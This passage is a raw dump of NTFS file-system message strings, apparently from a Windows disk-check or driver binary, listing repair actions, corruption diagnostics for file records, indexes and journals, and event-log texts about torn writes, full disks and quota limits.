is 0x%1!0I64x!. The system limit is 0x%2!0I64x!. The file size is 0x%1!0I64x!. The system limit is 0x%2!0I64x!. Clearing the in use bit for file record 0x%1. Repairing the sequence number for file record 0x%1. Repairing the first free byte for file record 0x%1. Repairing the segment number for file record 0x%1. Repairing the file attributes for file record 0x%1. Deleting attribute of type code 0x%1 and instance tag 0x%2 for file record 0x%3. Repairing the flags for file record 0x%1. Adding attribute of type code 0x%1 for file record 0x%2. Start repair on %2/%3/%1 at %4:%5:%6:%7% End repair on %2/%3/%1 at %4:%5:%6:%7 Marked file record %1 as in use in MFT bitmap. Security Id 0x%2 is invalid in file record segment 0x%1. It will be replaced with an administrator only Security Id. Marked %5 clusters in attribute %4 of type code 0x%2 and instance tag 0x%3 as in use by file 0x%1 in the volume bitmap. Processing repair verb BadFrs: 0x%1 Flags: 0x%2, 0x%3 Processing repair verb InvalidSid: 0x%1, 0x%2, 0x%3,,, 0x%4 Flags: 0x%5, 0x%6 Processing repair verb FrsAllocate: 0x%1, 0x%2, "%3", 0x%4, 0x%5, 0x%6 Flags: 0x%7, 0x%8 Processing repair verb Connect: 0x%1, "%2", 0x%3, 0x%4, 0x%5,,, 0x%6 Flags: 0x%7, 0x%8 Processing repair verb IndexEntry: 0x%1, "%2", "%3" Flags: 0x%4, 0x%5 Processing repair verb OrphanChildFrs: 0x%1, 0x%2,,, 0x%3 Flags: 0x%4, 0x%5 This repair generated too many messages. %1 messages were skipped. Swapping attribute of type code 0x%1 and instance tag 0x%2 with attribute of type code 0x%3 and instance tag 0x%4 for file record 0x%5. Deleting corrupt file record segment 0x%1. Marking cluster starting at VCN 0x%5 with LCN 0x%6 for 0x%7 clusters in attribute %4 of type code 0x%2 and instance tag 0x%3 as in use by file 0x%1 in the volume bitmap. Correcting a minor error in file 0x%1. Marking cluster starting at VCN 0x%5 with LCN 0x%6 for 0x%7 clusters in attribute %4 of type code 0x%2 and instance tag 0x%3 as not in use by file 0x%1 in the volume bitmap. Deleting index entry %3 in index 0x%2 of file 0x%1. Deleting an index entry from index 0x%2 of file 0x%1. Inserting an index entry %3 into index 0x%2 of file 0x%1. Inserting an index entry with Id 0x%3 into index 0x%2 of file 0x%1. Change file name flags from 0x%3 to 0x%4 for file name instance 0x%2 in file 0x%1. Volume has 0x%1 file record segments which is more than 32 bits. The file name index present bit is not set for file 0x%1. The view index present bit is not set for file 0x%1. The system file bit is not set for file 0x%1. The %2 index is missing from file 0x%1. EA Information is incorrect. Actual On Disk PackedEaSize 0x%1 0x%4 NeedEaCount 0x%2 0x%5 UnpackedEaSize 0x%3 0x%6 The EA INFORMATION attribute is not consistency with the EA DATA attribute for file 0x%1. EA INFORMATION equals 0x%2 while EA DATA equals 0x%3. The EA INFORMATION is not readable for file 0x%1. The EA INFORMATION size, 0x%2, in file 0x%1 is incorrect. The expected size is 0x%3. The EA DATA is not readable for file 0x%1. The EA DATA size, 0x%2, in file 0x%1 is incorrect. The expected size is 0x%3. %1%2 Corrupt EA set for file 0x%1. The remaining length, 0x%2, is too small. Corrupt EA set for file 0x%1. The unpacked total length, 0x%2, is larger than the total data length, 0x%3. Corrupt EA set for file 0x%1. The EA name is of length 0x%2. Corrupt EA set for file 0x%1. The unpacked length, 0x%2, is not the same as the record length, 0x%3. The EA Information value length, 0x%1, in file 0x%2 is incorrect. The EA total packed length, 0x%2, is too large in file 0x%1. The second MFT starting LCN in the boot sector is incorrect. The actual value is 0x%2 while the expected value is 0x%1. The reparse point length, 0x%1, has exceeded a maximum of 0x%2. The reparse point length, 0x%1, is less than a minimum of 0x%2. Unable to read reparse point data buffer. Only 0x%1 bytes returned from a read of 0x%d bytes of the reparse data buffer. ReparseDataLength, 0x%1, inconsistence with the attribute length 0x%2. Reparse Tag, 0x%1, is a reserved tag. File 0x%1 has bad reparse point attribute. Both reparse point and EA INFORMATION attributes exist in file 0x%1. The attribute definition table length, 0x%1, is not divisible by 0x%2. Unable to find child frs 0x%1 with sequence number 0x%2. Unable to locate attribute of type 0x%1, lowest vcn 0x%2, instance tag 0x%3 in file 0x%4. The is an attribute list attribute within the attribute list in file 0x%1. The lowest vcn, 0x%2, is not zero for attribute of type 0x%1 and instance tag 0x%3 in file 0x%4. The lowest vcn, 0x%2, is not zero for attribute of type 0x%1 in file 0x%3. The first attribute of type 0x%1 and instance tag 0x%2 in file 0x%3 should not be resident. The attribute of type 0x%1 and instance tag 0x%2 in file 0x%3 should not be resident. The attributes with instance tags 0x%2 and 0x%4 have different type codes 0x%1 and 0x%3 respectively in file 0x%5. The attributes with same type code 0x%1 but different instance tags 0x%2 and 0x%4 have non-contiguous VCN numbers 0x%3 and 0x%5 respectively in file 0x%6. The attributes with same type code 0x%1 but different instance tags 0x%2 and 0x%4 have different names %3 and %5 respectively in file 0x%6. The attribute of type 0x%1 and instance tag 0x%2 in file 0x%5 has allocated length of 0x%3 instead of 0x%4. The attribute of type 0x%1 in file 0x%4 has allocated length of 0x%2 instead of 0x%3. The file attributes flag 0x%1 in file 0x%3 is incorrect. The expected value is 0x%2. The sequence number 0x%1 in file 0x%2 is incorrect. The total allocated size 0x%3 of attribute of type 0x%1 and instance tag 0x%2 in file 0x%5 is incorrect. The expected value is %4. Read failure with status 0x%1 at offset 0x%2 for 0x%3 bytes. Incorrect read at offset 0x%1 for 0x%3 bytes but got 0x%2 bytes. Write failure with status 0x%1 at offset 0x%2 for 0x%3 bytes. Incorrect write at offset 0x%1 for 0x%3 bytes but wrote 0x%2 bytes. The data written out is different from what is being read back at offset 0x%1 for 0x%2 bytes. The file 0x%1 belongs to parent 0x%3 but got 0x%2 as parent. The file 0x%1 has file name %2 when it should be %3. The multi-sector header with total size 0x%1, USA offset 0x%2, and USA count 0x%3 is incorrect. The USA check value, 0x%2, at block 0x%1 is incorrect. The expected value is 0x%3. Unable to query LCN from VCN 0x%2 for attribute of type 0x%1. Attribute record of type 0x%1 and instance tag 0x%2 is cross linked starting at 0x%3 for possibly 0x%4 clusters. Attribute record of type 0x%1 is cross linked starting at cluster 0x%2 for possibly 0x%3 clusters. The attribute list in file 0x%1 does not contain standard information attribute. The attribute list in file 0x%1 indicates the standard information attribute is outside the base file record segment. The index root %2 is missing in file 0x%1. The index bitmap %2 is missing in file 0x%1. The index bitmap %2 in file 0x%1 is incorrect. The index bitmap %2 is present but there is no corresponding index allocation attribute in file 0x%1. The length, 0x%2, of the root index %1 in file 0x%4 is too small. The minimum length is 0x%3. The root index %1 in file 0x%3 is incorrect. The expected name is %2. The collation rule 0x%3 for index root %1 in file 0x%2 is incorrect. The expected value is 0x%4. Breaking the parent 0x%1 and child 0x%2 file relationship. This also makes the child an orphan. The index attribute of type 0x%2 for index root %1 in file 0x%4 is incorrect. The expected value is 0x%3. The index %1 is not a known quota index in file 0x%2. The index %1 is not a known security index in file 0x%2. The index attribute of type 0x%2 for index root %1 in file 0x%3 is not recognized. The index attribute of type 0x%2 for index root %1 in file 0x%3 is not indexable. The bytes per index buffer, 0x%2, for index root %1 in file 0x%4 is incorrect. The expected value is 0x%3. The clusters per index buffer, 0x%2, for index root %1 in file 0x%4 is incorrect. The expected value is 0x%3. The index allocation value length, 0x%2, for index %1 in file 0x%4 is not in multiple of 0x%3. The index allocation allocated length, 0x%2, for index %1 in file 0x%4 is not in multiple of 0x%3. The first free byte, 0x%2, and bytes available, 0x%3, for root index %1 in file 0x%4 are not equal. The index entry offset, 0x%3, of index %1 and VCN 0x%2 in file 0x%4 is incorrect. The index entry offset, 0x%2, of index %1 in file 0x%3 is incorrect. The bytes available, 0x%2, in index header for index %1 in file 0x%4 is not equal to 0x%3. The index header for index %1 and VCN 0x%2 in file 0x%3 is not marked as index node. The VCN 0x%2 of index %1 in file 0x%3 is incorrect. The index bitmap for index %1 in file 0x%2 is invalid or missing. The VCN 0x%2 of index %1 in file 0x%3 is already in use. The index allocation for index %1 in file 0x%2 is invalid or missing. The multi-sector header signature for VCN 0x%2 of index %1 in file 0x%3 is incorrect. The USA offset 0x%3 of VCN 0x%2 of index %1 in file 0x%5 is below 0x%4. The VCN 0x%2 of index %1 in file 0x%4 is inconsistence with the VCN 0x%3 stored inside the index buffer. The bytes per block, 0x%3, read from index buffer of VCN 0x%2 of index %1 in file 0x%4 is incorrect. The USA offset 0x%3 of VCN 0x%2 of index %1 in file 0x%4 is incorrect. The USA size 0x%3 of VCN 0x%2 of index %1 in file 0x%5 is incorrect. The expected value is 0x%4. The index header of index %1 in file 0x%2 is marked as index node when it should not. The first free byte, 0x%2, in index header of index %1 in file 0x%4 is not equal to 0x%3. Unable to query the name of a file name index entry of length 0x%3 of index %2 in file 0x%4 with parent 0x%1. Index entry %2 of index 0x%1 points to unused or reused file 0x%3. An index entry of index 0x%1 points to unused or reused file 0x%2. The file 0x%4 pointed to by index entry %3 of index %2 with parent file 0x%1 is not a base file record segment. The file 0x%3 pointed to by an index entry of index %2 with parent file 0x%1 is not a base file record segment. Unable to locate the file name attribute of index entry %3 of index %2 with parent 0x%1 in file 0x%4. Unable to locate the file name attribute of an index entry of index %2 with parent 0x%1 in file 0x%3. The object id index entry in file 0x%1 points to file 0x%2 but the file has no object id in it. The object id index entry in file 0x%1 points to file 0x%2 which is not a base file record segment. The object id in index entry in file 0x%1 is incorrect. The entry points to file 0x%2. The parent 0x%2 in an object id index entry in file 0x%1 is incorrect. The correct value is 0x%3. The object id in file 0x%2 already existed in the object id index in file 0x%1. The object id in file 0x%2 does not appear in the object id index in file 0x%1. The reparse point index entry in file 0x%1 points to file 0x%2 which is not a base file record segment. The reparse tag 0x%2 of reparse point index entry in file 0x%1 is incorrect. The correct reparse tag in file 0x%4 is 0x%3. The parent 0x%2 in the reparse point index entry with tag 0x%4 in file 0x%1 is incorrect. The correct value is 0x%3. The reparse point index entry in file 0x%1 points to file 0x%2 but the file has no reparse point in it. The reparse point in file 0x%2 does not appear in the reparse point index in file 0x%1. The file name index present bit is set in file 0x%1 but there is no file name index. The root index %2 in file 0x%1 is missing or invalid. The index entry length 0x%1 is incorrect. The maximum value is 0x%2. The index entry attribute length 0x%2 of index entry type 0x%1 is incorrect. The correct length is 0x%3. The index entry data offset 0x%1 and length 0x%2 is inconsistence with the index entry length 0x%3. The index entry length is incorrect for index entry type 0x%1. The index entry length is too small for index entry type 0x%1. The volume information attribute is missing from file 0x%1. The attribute record length 0x%1 is too small for attribute of type 0x%3 and instance tag 0x%4. The minimum value is 0x%2. The attribute form code 0x%1 is invalid for attribute of type 0x%2 and instance tag 0x%3. The attribute of type 0x%1 and instance tag 0x%2 should be resident. The standard information attribute length 0x%1 is incorrect. The expected value is 0x%2, 0x%3, or 0x%4. Attribute name is not allowed for attribute of type 0x%1 and instance tag 0x%2. The attribute of type 0x%1 and instance tag 0x%2 should not be resident. The attribute name offset for attribute of type 0x%1 and instance tag 0x%2 is incorrect. The attribute name for attribute of type 0x%1 and instance tag 0x%2 contains unicode NULL. Unknown attribute of type 0x%1 and instance tag 0x%2. The attribute of type 0x%1 and instance tag 0x%2 should not be indexed. The attribute of type 0x%1 and instance tag 0x%2 should be indexed. The indexable attribute of type 0x%1 and instance tag 0x%2 should not have name. The attribute of type 0x%1 and instance tag 0x%2 should have a name. The attribute length 0x%1 for attribute of type 0x%3 and instance tag 0x%4 is too small. The minimum value is 0x%2. The attribute length 0x%1 for attribute of type 0x%3 and instance tag 0x%4 is too big. The maximum value is 0x%2. The resident attribute for attribute of type 0x%4 and instance tag 0x%5 is incorrect. The attribute has value of length 0x%1, and offset 0x%2. The attribute length is 0x%3. The resident attribute name is colliding with the resident value for attribute of type 0x%4 and instance tag 0x%5. The attribute name offset is 0x%2, length 0x%1, and the attribute value offset is 0x%3. The mapping pairs offset 0x%1 for attribute of type 0x%3 and instance tag 0x%4 exceeded the attribute length 0x%2. The mapping pairs offset 0x%1 for attribute of type 0x%3 and instance tag 0x%4 is too small. The minimum value is 0x%2. The attribute name is colliding with the mapping pairs for attribute of type %4 and instance tag 0x%5. The attribute name offset is 0x%2, length 0x%1, and the mapping pairs offset is 0x%3. The attribute of type 0x%2 and instance tag 0x%3 in file 0x%4 has bad mapping pairs at attribute offset 0x%1. Unable to initialize an extent list for attribute type 0x%1 with instance tag 0x%2. The highest VCN 0x%1 of attribute of type 0x%3 and instance tag 0x%4 is incorrect. The expected value is 0x%2. The non resident attribute of type 0x%4 and instance tag 0x%5 is inconsistent. The valid data length is 0x%1, file size 0x%2, and allocated length 0x%3. The non resident attribute of type 0x%4 is inconsistent. The valid data length is 0x%1, file size 0x%2, and allocated length 0x%3. The allocated length 0x%1 is not in multiple of 0x%2 for attribute of type 0x%3 and instance tag 0x%4. The file name value length 0x%1 for attribute of type 0x%3 with instance tag 0x%4 is too small. The minimum value is 0x%2. The attribute of type 0x%2 and instance tag 0x%3 is inconsistence. The attribute value length is 0x%1. The file name length is zero for attribute of type 0x%1 and instance tag 0x%2. The file name in file name value in attribute of type 0x%1 and instance tag %2 contains invalid character. The multi-sector header signature in file 0x%1 is incorrect. The USA offset 0x%1 in file 0x%3 is too small. The minimum value is 0x%2. The file record segment size 0x%1 is invalid in file 0x%2. The USA offset 0x%1 in file 0x%2 is incorrect. The USA size 0x%1 in file 0x%3 is incorrect. The expected value is 0x%2. The first attribute offset 0x%1 in file 0x%2 is incorrect. The bytes available, 0x%1, in the file record segment header for file 0x%3 is incorrect. The expected value is 0x%2. The instance tag 0x%2 of attribute of type 0x%1 in file 0x%3 is already in use. The instance tag 0x%2 of attribute of type 0x%1 in file 0x%4 is too large. The instance tag should be less than 0x%3. The standard information attribute in file 0x%1 is missing. The attribute record offset 0x%1 is too large for attribute of type 0x%3 and instance tag 0x%4 in file 0x%5. The maximum value is 0x%2. The record length of attribute of type 0x%1 and instance tag 0x%2 in file 0x%3 should not be zero. The record length 0x%1 of attribute of type 0x%2 and instance tag 0x%3 in file 0x%4 is not aligned. The record length 0x%1 is too large for attribute of type 0x%3 and instance tag 0x%4 in file 0x%5. The maximum value is 0x%2. The first free byte, 0x%1, in file 0x%4 is incorrect. The number of bytes free in the file record segment is 0x%2 and the total length is 0x%3. The attribute of type 0x%1 and instance tag 0x%2 should be after attribute of type 0x%3 and instance tag 0x%4 in file 0x%5. All attribute of type 0x%1 and instance tag 0x%2 should be indexed in file 0x%5. Two identical attributes of type 0x%1 and instance tag 0x%2 are in file 0x%3. The file name index present bit in file 0x%1 should not be set. The sparse flag in the standard information attribute in file 0x%1 is not set. The sparse flag in the standard information attribute in file 0x%1 should not be set. The old encrypted flag is being replaced by the new encrypted flag in file 0x%1. The encrypted flag in standard information attribute in file 0x%1 is not set. The reparse flag in standard information attribute in file 0x%1 is not set. The reparse flag in standard information attribute in file 0x%1 should not be set. There are more than one NTFS file name attribute in file 0x%1. The file name attributes in file 0x%3 has different parents. The DOS name has 0x%1 as parent. The NTFS name has 0x%2 as parent. There are more than one DOS file name attribute in file 0x%1. The DOS file name attribute in file 0x%1 is incorrect. There is no NTFS file name attribute in file 0x%1. There is no DOS file name attribute in file 0x%1. The DOS and NTFS file name attributes in file 0x%1 are identical. Unable to setup the attribute list in file 0x%1. The attribute type 0x%1 with name %2 in file 0x%3 is missing. The attribute of type 0x%1 in file 0x%2 is missing. The unnamed data attribute in file 0x%1 is missing. The attribute list in file 0x%1 is missing. The length, 0x%3, of the attribute list entry with attribute of type 0x%1 and instance tag 0x%2 in file 0x%4 is not aligned. The attribute list entry with attribute of type 0x%1 and instance tag 0x%2 in file 0x%6 is incorrect. The attribute list entry name length is 0x%3, and offset 0x%4. The attribute list length is 0x%5. The attribute name offset 0x%3 of attribute list entry with attribute of type 0x%1 and instance tag 0x%2 in file 0x%5 is too small. The minimum value is 0x%4. The attribute list length 0x%2 in file 0x%3 is incorrect. The expected value is 0x%1. The extent list of the attribute list is crossed linked at 0x%1 for possibly 0x%2 clusters in file 0x%3. The attribute list entry with attribute of type 0x%1 and instance tag 0x%2 should be after attribute of type 0x%3 and instance tag 0x%4. Two identical attribute list entries of type 0x%1 and instance tag 0x%2 are found. The attribute length 0x%3 of attribute of type 0x%1 and name %2 in file 0x%5 is too small. The minimum value is 0x%4. The sparse flag of attribute of type 0x%1 and name %2 in file 0x%3 is not set. The USN Journal offset 0x%1 in file 0x%2 is not at a page boundary. The USN Journal length 0x%1 in file 0x%3 is too large. The maximum value is 0x%2. The USN Journal length 0x%1 in file 0x%3 is less than its offset 0x%2. The remaining USN block at offset 0x%1 in file 0x%2 is less than a page. The remaining of an USN page at offset 0x%1 in file 0x%2 should be filled with zeros. The USN Journal entry at offset 0x%1 and length 0x%2 crosses the page boundary. The USN Journal entry length 0x%2 at offset 0x%1, in file 0x%4 is larger than the remaining length 0x%3 of a page. The USN Journal entry length 0x%2 at offset 0x%1 in file 0x%4 exceeded the page size 0x%3. The USN Journal entry length 0x%2 at offset 0x%1 in file 0x%3 is not aligned. The USN Journal entry version %2.%3 at offset 0x%1 in file 0x%4 is not recognized. The USN Journal entry length 0x%2 at offset 0x%1 in file 0x%4 is too small. The minimum value is 0x%3. The remaining USN page length 0x%2 is too small to fit another USN Journal entry at offset 0x%1 in file 0x%4. It needs at least 0x%3 bytes. The USN value 0x%1 of USN Journal entry at offset 0x%2 in file 0x%3 is incorrect. The USN Journal entry at offset 0x%1 in file 0x%4 is not consistence. The entry has length of 0x%3 and a file name length of 0x%2. The USN Journal length 0x%1 in file 0x%4 is less the largest USN encountered, 0x%2, plus eight in file 0x%3. The security data stream is missing from file 0x%1. The security data stream size 0x%1 should not be less than 0x%2. The remaining of a security data stream page starting at offset 0x%1 for 0x%2 bytes contains non-zero. The security data stream entry at offset 0x%1 with length 0x%2 crosses the page boundary. The length, 0x%2, of the security data stream entry at offset 0x%1 is too small. The minimum value is 0x%3. The length, 0x%2, of the security data stream entry at offset 0x%1 exceeded the page size 0x%3. The security data stream entry at offset 0x%1 does not fit into the remaining length, 0x%2, of a page. The minimum value is 0x%3. The security descriptor entry with Id 0x%2 at offset 0x%1 is invalid. The security Id 0x%2 of security descriptor entry at offset 0x%1 is a duplicate. The hash value 0x%2 of the security descriptor entry with Id 0x%4 at offset 0x%1 is invalid. The correct value is 0x%3. The offset 0x%2 stored in the security descriptor entry with Id 0x%4 at offset 0x%1 is invalid. The correct value is 0x%3. The security descriptor in file 0x%1 is invalid. The security Id 0x%1 in file 0x%2 is invalid. The data stream with name %1 in file 0x%2 is not recognized. The attribute definition table length 0x%1 is incorrect. The correct value is 0x%2. The attribute definition table content is incorrect. Cluster zero is missing from the data attribute in boot file. Attribute list found in the log file. The data attribute is either resident or missing in the log file. Unable to obtain the LCN in data attribute of the MFT mirror. There is no physical LCN for VCN 0 in data attribute of the MFT mirror. The data attribute of the MFT mirror is not contiguous for 0x%1 sectors. The MFT mirror is different from the MFT. The data attribute is missing from the upcase file. The upcase file length 0x%1 is incorrect. The expected value is 0x%2. The upcase file content is incorrect. The data attribute is either resident or missing in the MFT mirror. The two index entries of length 0x%1 and 0x%2 are either identical or appear in the wrong order. The first index entry of length 0x%1 is a leaf but it is not in the root. The first index entry of length 0x%1 is a leaf but the previous entry is not. Current leaf index entry of length 0x%3 is at depth 0x%2 which is different from other leaf index entry which has a depth of 0x%1. The down pointer of current index entry with length 0x%1 is invalid. The index entry length 0x%1 is too large. The maximum value is 0x%2. The allocation attribute does not exist. Clearing unused security descriptor stream entries. Mirror security descriptor block different from that of master security descriptor at offset 0x%1. The attribute definition table cannot be read. The index buffer at VCN 0x%2 of index %1 in file 0x%3 cannot be read. The MFT mirror starting at cluster 0x%1 for 0x%2 sectors cannot be read. The security descriptor in file 0x%1 cannot be read. The upcase table cannot be read. The USN attrib of type code 0x%1 and name %2 cannot be read in file 0x%3. The EA Data value length, 0x%1, in file 0x%2 is incorrect. The index entry length 0x%2 for index %1 in file 0x%4 is too large. The maximum value is 0x%3. Unable to query extent list entry 0x%3 from attribute of type 0x%1 and instance tag 0x%2. The total allocated size 0x%1 for attribute of type 0x%3 and instance tag 0x%4 is larger than the allocated length 0x%2. Unable to locate attribute with instance tag 0x%2 and segment reference 0x%3. The expected attribute type is 0x%1. The first index entry offset, 0x%2, for index %1 in file 0x%4 points beyond the length, 0x%3, of the index. VCN is unknown. Some clusters occupied by attribute of type 0x%1 and instance tag 0x%2 in file 0x%3 is already in use. Unable to setup the child file record segment 0x%2 in file 0x%1. The parent 0x%2 of index entry %3 in file 0x%4 is incorrect. The expected parent is 0x%1. The file reference 0x%3 of an index entry %2 in parent 0x%1 is not the same as 0x%4. The file reference 0x%3 of an index entry of index %2 with parent 0x%1 is not the same as 0x%4. Multiple object id index entries in file 0x%1 point to the same file 0x%2. The object id index entry in file 0x%1 points to file 0x%2 which is unreadable. The object id index entry in file 0x%1 points to file 0x%2 which is not in use. The reparse point index entry in file 0x%1 points to file 0x%2 which is not in use. The reparse point index entry in file 0x%1 points to file 0x%2 which is unreadable. ---------------------------------------------------------------------- Cleaning up instance tags for file 0x%1. Cleaning up encrypted flag for file 0x%1. Cleaning up sparse flag for file 0x%1. Cleaning up %3 unused index entries from index %2 of file 0x%1. Cleaning up %1 unused security descriptors. The value length, 0x%1, of the MFT mirror is too small. The minimum value is 0x%2. The valid data length, 0x%1, of the MFT mirror is too small. The minimum value is 0x%2. Index entry %3 of index %2 in file 0x%1 points to unused file 0x%4. An index entry of index %2 in file 0x%1 points to unused file 0x%3. Unable to obtain the LCN in data attribute for VCN 0x%1 of the MFT. An index entry of index %2 in file 0x%1 points to file 0x%3 which is beyond the MFT. The segment number 0x%1 in file 0x%2 is incorrect. Internal Info: The mapping pairs offset 0x%1 for attribute of type 0x%2 and instance tag 0x%3 is not quad aligned. The NTFS file name attribute in file 0x%1 is incorrect. The attribute of type 0x%1 and instance tag 0x%2 has unexpected holes in the extent list. The TxF file name attribute in file 0x%1 is corrupt. The $Txf file name attribute in file 0x%1 is a duplicate. The $Txf file name attribute in file 0x%1 is corrupt. The $STANDARD_INFORMATION attribute was corrupted for a $Txf directory. The $STANDARD_INFORMATION attribute was corrupted for a RM Root directory. The TxF file name attribute in file 0x%1 is a duplicate. A TxF RM root file reference was corrupt. Detected cross linked attribute of type code 0x%1 and instance tag 0x%2 for file record 0x%3. File record 0x%1 maps to "%2". The index entry %3 in index 0x%2 of file 0x%1 is missing. The parent 0x%1 of file name attribute %2 in file 0x%3 cannot be found. The file name flags 0x%1 in index entry %2 of parent 0x%3 is inconsistent with that in file 0x%4. The only attribute in the file 0x%1 is the standard information. Failed to enumerate blocks Unsupported on thinly provisioned volume Claiming persisted memory failed Allocating memory for KSR runs failed Could not get system address from Mdl Invalid KSR version Vcb's TotalClusters did not match with KSRData's TotalClusters Cached runs unexpectedly grew between prepare and fill Invalid KSR version Failed to enumerate blocks KSR block already claimed Allocating memory for KSR buffer failed Allocating memory for MDL failed Failed to convert MDL to runs Allocating memory for KSR runs failed Failed to persist KSR runs Ntfs has detected MFT torn write on a volume.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n File reference: %6%n File name: %8%n Byte offset of the buffer within the file: %9%n Byte offset of the torn structure within the buffer: %10%n Block index: %11%n Expected sequence number: %12%n Actual sequence number: %13%n FRS file reference: %14%n FRS file name: %16%n Is child FRS: %17%n Volume %1 (%2) %3 The system failed to flush data to the transaction log. Corruption may occur in VolumeId: %2, DeviceName: %4.%n%n Failure status: %5%n%n Device GUID: %6%n Device manufacturer: %8%n Device model: %10%n Device revision: %12%n Device serial number: %14%n Bus type: %15%n%n Adapter serial number: %17%n Surprise removal of a persistent memory device with active DAX mappings. This might lead to data corruption.%n%n Volume GUID: %4%n Volume Name: %6%n Volume Label: %8%n%nGuidance:%nA reboot is required to clean up the DAX mappings. A volume that already has DAX mappings is being mounted. This generally occurs after surprise removal. This might lead to data corruption.%n%n Volume GUID: %4%n Volume Name: %6%n%nGuidance:%nA reboot is required to clean up the DAX mappings. An IO failed with %12 and NTFS has relocated the clusters. The original clusters are now marked as bad and they will not be reused.%nThis may indicate a failing disk.%n%n Process Id: %5%n Process name: %6%n File name: %8%n File offset: %9%n %11 cluster(s) were marked as bad starting at cluster %10%n%n Volume guid: %1%n Volume name: %3%n Is boot volume: %4%n The data read from the storage does not match what was previously written or read.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %19%n Device manufacturer: %21%n Device model: %23%n Device revision: %25%n Device serial number: %27%n Bus type: %28%n Native NVMe: %29%n%n Adapter serial number: %31%n%n File reference: %8%n File name: %10%n Attribute type code: %11%n Attribute name: %13%n File offset: %14%n Volume offset: %15%n Length: %16%n Called from worker: %17%n Livedump worker status: %18%n MftBitmap is not big enough for MftData or does not have required allocations.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n Native NVMe: %18%n%n Adapter serial number: %10%n%n Mft data allocation size: %21%n Mft data file size: %22%n Mft bitmap allocation size: %23%n Mft bitmap file size: %24%n Bytes per FRS: %25%n Mft data attribute allocation size: %26%n Mft data attribute file size: %27%n Mft bitmap attribute highest Vcn: %28%n Mft bitmap attribute allocation size: %29%n Mft bitmap attribute file size: %30%n Last data and bitmap attribute record in Mft are in same FRS: %31%n Called from worker: %32%n Livedump worker status: %33%n Major function: %34%n Minor function: %35%n Source tag: %36%n Thinly provisioned volume %1 (%2)%nwere not being mapped between clusters %3 and %4.%nIt is now fixed. Thinly provisioned volume %1 (%2)%nwere not being mapped between clusters %3 and %4.%nRepair was unsucccessful.%nPossibly out of available slabs. Volume Mount/Dismount Statistics BadClusterHotFix Response Time Info Start Stop Resume Suspend A user hit their quota threshold on volume %2. A user hit their quota limit on volume %2. The system has started rebuilding the user disk quota information on device %1 with label "%2". The system has successfully rebuilt the user disk quota information on device %1 with label "%2". Error Warning Information Volume mount Volume dismount The system has encounted an error rebuilding the user disk quota information on device %1 with label "%2". {Delayed Write Failed} Windows was unable to save all the data for the file %2. The data has been lost. This error may be caused by a failure of your computer hardware or network connection. Please try to save this file elsewhere. The transaction resource manager on volume %2 encountered an error during recovery. The resource manager will continue recovery. The default transaction resource manager on volume %2 encountered an error while starting and its metadata was reset. The data contains the error code. {Delayed Write Failed} Windows was unable to save all the data for the file %2; the data has been lost. This error may be caused by network connectivity issues. Please try to save this file elsewhere. {Delayed Write Failed} Windows was unable to save all the data for the file %2; the data has been lost. This error was returned by the server on which the file exists. Please try to save this file elsewhere. {Delayed Write Failed} Windows was unable to save all the data for the file %2; the data has been lost. This error may be caused if the device has been removed or the media is write-protected. System RundownStart RundownComplete RundownVolumeInformation VolumeId: %1, DeviceName: %3 The NTFS volume has been successfully mounted.%n%n Volume GUID: %4%n Volume Name: %6%n Volume Label: %8%n Device Name: %3%n NTFS KSR data retrieved successfully.%n%n Volume GUID: %4%n Device Name: %3%n%n NTFS KSR version: %5%n Number of runs restored: %6%n Time to restore (ms): %7%n NTFS KSR data retrieval failed.%n%n Volume GUID: %4%n Device Name: %3%n Error: %6 Ntfs has detected torn write on a volume.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n File reference: %6%n File name: %8%n Byte offset of the buffer within the file: %9%n Byte offset of the torn structure within the buffer: %10%n Block index: %11%n Expected sequence number: %12%n Actual sequence number: %13%n File's duplicate info has been updated during flush.%n%n Volume correlation Id: %1%n Volume name: %3%n File Reference: %4%n File Name: %6%n File Link name: %8%n Parent file reference: %9%n Parent file name: %11%n Update Reason: [%12] %13%n NTFS scanned entire volume bitmap.%n%n Volume correlation Id: %1%n Volume name: %3%n Volume label: %5%n%n Device name: %7%n Device GUID: %8%n Device manufacturer: %10%n Device model: %12%n Device revision: %14%n Device serial number: %16%n Bus type: %17%n%n Adapter serial number: %19%n%n Duration (micro seconds): %20%n InputFlags: %21%n Reason: %22%n Flags: %23%n NTFS cached runs statistics.%n%n Volume correlation Id: %1%n Volume name: %2%n Volume label: %3%n%n Device name: %4%n Device GUID: %5%n Device manufacturer: %6%n Device model: %7%n Device revision: %8%n Device serial number: %9%n Bus type: %10%n%n Adapter serial number: %11%n%n Media type: %12%n Runs cached: %13%n Longest run cached: %15%n Most populated bin Count: %16%n Most populated bin's minimum length: %18%n Most populated bin's maximum length: %20%n NTFS global corruption action state is now %1. The file system structure that maintains security information on volume %1 (%2) has grown excessively large and fragmented. The structure has reached %3%% of its maximum fragmentation limit. If the structure continues to grow and reaches this limit, it may not be possible to create new files on this volume. It is strongly recommended that the volume be taken offline for preventative maintenance. An operation failed because the disk was full.%n%n Process: %5%n Free space in bytes: %7%n Total reserved space in bytes: %8%n Txf TotalAbortReservation space in bytes: %9%n Requested space in bytes: %10%n Page file size in bytes: %11%n Volume guid: %1%n Volume name: %3%n Is boot volume: %6%n Source Tag: %12%n%nYour disk '%3' is full. Use disk cleanup to free up disk space by deleting unnecessary files. If this is a thinly provisioned volume the physical storage backing this volume may have been exhausted.%n Summary of disk space usage, since last event:%n%n Lowest free space in bytes: %4%n Highest free space in bytes: %5%n Page file size in bytes: 0%n Volume guid: %1%n Volume name: %3%n Is boot volume: %6%n In the past %5 seconds %6 files were deleted from the user's popular known folders (i.e. Desktop, Documents, Downloads, Music, Pictures, Videos, etc.).%n%7 of the deletions recorded their process names.%n%n Volume Id: %1%n Volume name: %3%n Is boot volume: %4%n%n Process names: [%8]%n Delete counts: %n Desktop: [%9]%n Documents: [%10]%n Downloads: [%11]%n Music: [%12]%n Pictures: [%13]%n Videos: [%14]%n Other: [%15]%n A process has not acknowledged an NTFS oplock break in a long time.%n%n Time (seconds): %1%n Owner Process: %2%n Breaking Process: %3%n System file pages are now locked into memory.%n%n Volume Id: %1%n Volume name: %3%n%n File reference: %4%n File name: %6%n System file pages are no longer locked 